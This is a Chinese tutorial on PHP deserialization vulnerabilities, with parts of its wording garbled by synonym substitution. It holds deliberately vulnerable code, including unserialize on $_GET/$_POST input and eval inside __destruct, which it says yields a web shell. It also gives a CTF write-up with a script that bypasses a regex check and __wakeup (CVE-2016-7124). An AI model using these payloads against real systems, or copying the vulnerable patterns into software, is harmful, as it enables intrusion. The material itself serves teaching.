详解之php反序列化
1 前言
比来也是在复习此前学过的内容,感受对PHP反序列化的懂得愈加深了,所以在此总结一下
2 serialize()函数
“所有php里面的值都可以使用函数serialize()来返回一个包括字节流的字符串来表示。序列化一个对象将会留存对象的所有变量,但是不会留存对象的办法,只会留存类的名字。”
一开端看这个概念大概有些懵,但之后也是渐渐懂得了
在程序施行完毕时,内存数据便会马上烧毁,变量所贮存的数据便是内存数据,而文件、数据库是“耐久数据”,因此PHP序列化就是将内存的变量数据“留存”到文件中的耐久数据的历程。
相关学习引荐:PHP编程从入门到熟知
$s = serialize($变量); //该函数将变量数据停止序列化转换为字符串 file_put_contents(‘./目标文本文件', $s); //将$s留存到指定文件
下面通过一个详细的例子来理解一下序列化:
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.'is'.$this->age.'years old. <br />'; } } //创立一个对象 $user = new User(); // 设定数据 $user->age = 20; $user->name = 'daye'; //输出数据 $user->PrintData(); //输出序列化之后的数据 echo serialize($user); ?>
这个是结果:
可以看到序列化一个对象后将会留存对象的所有变量,并且发明序列化后的结果都有一个字符,这些字符都是以下字母的缩写。
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
理解了缩写的类型字母,便可以得到PHP序列化格局
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
通过以上例子,便可以懂得了概念中的通过serialize()函数返回一个包括字节流的字符串这一段话。
3 unserialize()函数
unserialize()
对简单的已序列化的变量停止操纵,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必需在解序列化此前定义。
简便来懂得起来就算将序列化过储备到文件中的数据,复原到程序代码的变量表示情势的历程,复原到变量序列化此前的结果。
$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(此前序列化过的字符串) $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中
通过一个例子来理解反序列化:
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.' is '.$this->age.' years old. <br />'; } } //重建对象 $user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}'); $user->PrintData(); ?>
这个是结果:
留意:在解序列化一个对象前,这个对象的类必需在解序列化此前定义。不然会报错
4 PHP反序列化破绽
在学习破绽前,先来理解一下PHP魔法函数,对接下来的学习会很有帮忙
PHP 将所有以 __(两个下划线)开头的类办法保存为魔术办法
__construct 当一个对象创立时被调取, __destruct 当一个对象烧毁时被调取, __toString 当一个对象被当作一个字符串被调取。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被烧毁时触发 __call() 在对象上下文中调取不成拜访的办法时触发 __callStatic() 在静态上下文中调取不成拜访的办法时触发 __get() 用于从不成拜访的属性读取数据 __set() 用于将数据写入不成拜访的属性 __isset() 在不成拜访的属性上调取isset()或empty()触发 __unset() 在不成拜访的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当足本尝试将对象调取为函数时触发
这里只列出了一部分的魔法函数,
下面通过一个例子来理解一下魔法函数被主动调取的历程
<?php class test{ public $varr1="abc"; public $varr2="123"; public function echoP(){ echo $this->varr1."<br>"; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup<br>"; } } $obj = new test(); //实例化对象,调取__construct()办法,输出__construct $obj->echoP(); //调取echoP()办法,输出"abc" echo $obj; //obj对象被当做字符串输出,调取__toString()办法,输出__toString $s =serialize($obj); //obj对象被序列化,调取__sleep()办法,输出__sleep echo unserialize($s); //$s第一会被反序列化,会调取__wake()办法,被反序列化出来的对象又被当做字符串,就会调取_toString()办法。 // 足本完毕又会调取__destruct()办法,输出__destruct ?>
这个是结果:
通过这个例子就可以清楚的看到魔法函数在相符响应的前提时便会被调取。
5 对象注入
当会员的恳求在传给反序列化函数unserialize()此前没有被准确的过滤时就会发生破绽。由于PHP同意对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该破绽的unserialize函数,终究致使一个在该利用范畴内的任意PHP对象注入。
对象破绽显现得知足两个前提:
一、unserialize的参数可控。
二、 代码里有定义一个含有魔术办法的类,并且该办法里显现一些使用类成员变量作为参数的存在平安问题的函数。
下面来举个例子:
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
比方这个列子,直接是会员生成的内容传递给unserialize()函数,那就可以结构这样的语句
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
在足本运转完毕后便会调取_destruct函数,同时会覆盖test变量输出lemon。
发明这个破绽,便可以利用这个破绽点操纵输入变量,拼接成一个序列化对象。
再看一个例子:
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中调取eval施行序列化对象中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 结构序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>
其实细心视察就会发明,其实我们手动结构序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后施行在__destruc()函数里歹意的语句。
所以我们利用这个破绽点便可以猎取web shell了
6 绕过魔法函数的反序列化
wakeup()魔法函数绕过
PHP5<5.6.25 PHP7<7.0.10
PHP反序列化破绽CVE-2016-7124
#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的施行
baidu杯——Hash
其实细心剖析代码,只要我们能绕过两点即可得到f15g_1s_here.php
的内容
(1)绕过正则表达式对变量的检查
(2)绕过_wakeup()
魔法函数,由于假如我们反序列化的不是Gu3ss_m3_h2h2.php
,这个魔法函数在反序列化时会触发并强迫转成Gu3ss_m3_h2h2.php
那么问题就来了,假如绕过正则表达式
(1)/[oc]:\d+:/i
,例如:o:4:这样就会被匹配到,而绕过也很简便,只需加上一个+
,这个正则表达式即匹配不到0:+4
:
(2)绕过_wakeup()
魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的施行
编写php序列化足本
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先创立一个对象,主动调取__construct魔法函数 $obj = new Demo('f15g_1s_here.php'); #停止序列化 $a = serialize($obj); #使用str_replace() 函数停止更换,来绕过正则表达式的检查 $a = str_replace('O:4:','O:+4:',$a); #使用str_replace() 函数停止更换,来绕过__wakeup()魔法函数 $a = str_replace(':1:',':2:',$a); #再停止base64编码 echo base64_encode($a); ?>
以上就是详解之php反序列化的具体内容,更多请关注百分百源码网其它相关文章!